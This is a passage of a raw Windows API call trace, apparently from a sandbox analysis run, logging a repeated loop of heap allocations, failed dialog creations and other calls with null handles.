[0026.758] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.758] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.758] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.758] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.758] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.758] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.758] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.758] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.758] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.758] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.758] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.758] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.758] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.758] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.758] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.758] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.758] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.758] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.758] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.758] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.758] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.758] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.758] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.758] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.758] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.758] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.758] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.758] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.758] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.758] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.758] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.758] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.758] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.758] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.758] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.758] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.758] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.758] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.759] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.759] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.759] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.759] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.759] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.759] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.759] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.759] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.759] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.759] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.759] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.759] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.759] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.759] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.759] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.759] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.759] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.759] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.759] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.759] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.759] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.759] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.759] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.759] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.759] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.759] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.759] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.759] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.759] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.759] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.759] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.759] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.759] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.759] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.759] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.759] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.759] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.759] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.759] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.759] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.760] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.760] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.760] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.760] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.760] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.760] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.760] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.760] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.760] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.760] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.760] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.760] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.760] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.760] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.760] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.760] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.760] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.760] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.760] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.760] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.760] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.760] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.760] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecd0 | out: hHeap=0x2d0000) returned 1 [0026.760] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecd0 [0026.760] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.760] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.760] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.760] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.760] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.760] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.760] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.760] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.760] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.760] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.760] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1193272783, cy=27, fuLoad=0x0) returned 0x0 [0026.760] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.761] GetLastError () returned 0x715 [0026.761] SetLastError (dwErrCode=0x715) [0026.761] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.761] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.761] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.761] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.761] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.761] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.761] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.761] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.761] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.761] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.761] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.761] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.761] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.761] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.761] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.761] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.761] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.761] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.761] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.761] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.761] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.761] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.761] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.761] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.761] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.761] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.761] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.761] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.761] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.761] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.761] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.761] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.762] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.762] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.762] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.762] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.762] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.762] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.762] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.762] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.762] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.762] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.762] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.762] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.762] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.762] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.762] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.762] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.762] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.762] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.762] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.762] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.762] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.762] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.762] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.762] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.762] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.762] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.762] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.762] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.762] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.762] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.762] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.762] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.762] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.762] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.762] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.762] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.762] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.762] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.762] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.762] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.762] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.763] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.763] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.763] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.763] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.763] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.763] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.763] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.763] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.763] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.763] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.763] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.763] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.763] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.763] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.763] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.763] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.763] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.763] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.763] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.763] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.763] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.763] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.763] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.763] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.763] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.763] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.763] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.763] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.763] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.763] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.763] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.763] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.763] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.763] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.763] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.763] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecd0 | out: hHeap=0x2d0000) returned 1 [0026.763] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecd0 [0026.763] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.763] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.763] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.763] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.764] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.764] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.764] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.764] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.764] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.764] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.764] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1193253838, cy=27, fuLoad=0x0) returned 0x0 [0026.764] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.764] GetLastError () returned 0x715 [0026.764] SetLastError (dwErrCode=0x715) [0026.764] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.764] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.764] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.764] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.764] RtlAllocateHeap 